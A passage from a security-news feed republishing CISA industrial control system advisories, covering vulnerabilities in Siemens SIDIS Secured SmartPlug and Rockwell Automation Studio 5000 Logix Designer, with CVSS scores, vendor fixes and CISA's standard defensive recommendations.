<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9231</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9231">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/385.html">CWE-385 Covert Timing Channel</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-9232</a></h3>
<div class="csaf-accordion-content">
<p>Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-9232">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-26465</a></h3>
<div class="csaf-accordion-content">
<p>A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-26465">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/390.html">CWE-390 Detection of Error Condition Without Action</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-32462</a></h3>
<div class="csaf-accordion-content">
<p>Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-32462">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>2.8</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-5121</a></h3>
<div class="csaf-accordion-content">
<p>A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-5121">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIDIS Secured SmartPlug</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIDIS Secured SmartPlug &lt; V7.26.0310</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V7.26.0310 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Siemens ProductCERT reported these vulnerabilities to CISA.</li>
</ul>
<hr>
<h2>General Recommendations</h2>
<p>As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity</p>
<hr>
<h2>Additional Resources</h2>
<p>For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories</p>
<hr>
<h2>Terms of Use</h2>
<p>The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Publication Date</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rockwell Automation Studio 5000 Logix Designer]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow for a local attacker to execute arbitrary files, alter configurations, or execute arbitrary code.
The following versions of Rockwell Automation Studio 5000 Logix Designer are affected:

Studio 5000 Logix Designer V36.0...]]></description>
<link>https://tsecurity.de/de/3684504/it-security-nachrichten/rockwell-automation-studio-5000-logix-designer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684504/it-security-nachrichten/rockwell-automation-studio-5000-logix-designer/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-10.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow for a local attacker to execute arbitrary files, alter configurations, or execute arbitrary code.</strong></p>
<p>The following versions of Rockwell Automation Studio 5000 Logix Designer are affected:</p>
<ul>
<li>Studio 5000 Logix Designer V36.00 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer V35.00 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)</li>
<li>Studio 5000 Logix Designer V35.01 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer &gt;=V34.00|&lt;=V34.03 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer &gt;=V33.00|&lt;=V33.03 (CVE-2026-9108)</li>
<li>Studio 5000 Logix Designer &gt;=V32.00|&lt;=V32.04 (CVE-2026-9108, CVE-2026-9127, CVE-2026-9128)</li>
<li>Studio 5000 Logix Designer V34.00 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer V34.01 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer V33.00 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer V33.02 (CVE-2026-9127)</li>
<li>Studio 5000 Logix Designer &gt;=V34.00|&lt;=V34.02 (CVE-2026-9128)</li>
<li>Studio 5000 Logix Designer &gt;=V33.00|&lt;=V33.02 (CVE-2026-9128)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation Studio 5000 Logix Designer</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Incorrect Authorization, Unquoted Search Path or Element</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9108</a></h3>
<div class="csaf-accordion-content">
<p>A path traversal security issue exists within Studio 5000 Logix Designer due to improper limitation of file paths within ACD project files. The software does not sanitize or validate file names embedded in the ACD file structure during the project opening procedure, allowing path traversal sequences to escape the intended extraction directory. If exploited, an attacker could craft a malicious ACD project file that results in arbitrary files being written to attacker-controlled locations on the file system, potentially leading to code execution.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9108">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Studio 5000 Logix Designer</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Studio 5000 Logix Designer: V36.00, Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: V35.01, Rockwell Automation Studio 5000 Logix Designer: &gt;=V34.00|&lt;=V34.03, Rockwell Automation Studio 5000 Logix Designer: &gt;=V33.00|&lt;=V33.03, Rockwell Automation Studio 5000 Logix Designer: &gt;=V32.00|&lt;=V32.04</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to upgrade to the following: Studio 5000 Logix Designer: V37.00, 36.01, 35.02, 34.04, 33.04, 32.05 (CVE-2026-9108)</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/22.html">CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.7</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>5.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9127</a></h3>
<div class="csaf-accordion-content">
<p>A remote code execution security issue exists within Studio 5000 Logix Designer due to incorrect authorization on a configuration file. This can allow any authenticated user to modify the paths of external tools configured within the application. If exploited, an attacker could alter the configuration to point to a malicious executable, resulting in arbitrary code execution when any user interacts with the external tools functionality.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9127">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Studio 5000 Logix Designer</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: &gt;=V32.00|&lt;=V32.04, Rockwell Automation Studio 5000 Logix Designer: V34.00, Rockwell Automation Studio 5000 Logix Designer: V34.01, Rockwell Automation Studio 5000 Logix Designer: V33.00, Rockwell Automation Studio 5000 Logix Designer: V33.02</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Studio 5000 Logix Designer: V36.00, 35.01, 34.02, 33.02, 32.05 (CVE-2026-9127)</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-9128</a></h3>
<div class="csaf-accordion-content">
<p>A code execution security issue exists within Studio 5000 Logix Designer due to an unquoted search path in the External Tools configuration. The executable paths specified in the external tools configuration file are not properly quoted, and because these paths contain spaces, the operating system may resolve them to unintended executables placed earlier in the search order. If exploited, an attacker could plant a malicious executable in a location within the search path, resulting in arbitrary code execution with the same permissions of the user running the application.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-9128">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Studio 5000 Logix Designer</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Studio 5000 Logix Designer: V35.00, Rockwell Automation Studio 5000 Logix Designer: &gt;=V32.00|&lt;=V32.04, Rockwell Automation Studio 5000 Logix Designer: &gt;=V34.00|&lt;=V34.02, Rockwell Automation Studio 5000 Logix Designer: &gt;=V33.00|&lt;=V33.02</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Studio 5000 Logix Designer: V36.00, 35.01, 34.03, 33.03, 32.05 (CVE-2026-9128)</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisories: https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html.<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/428.html">CWE-428 Unquoted Search Path or Element</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
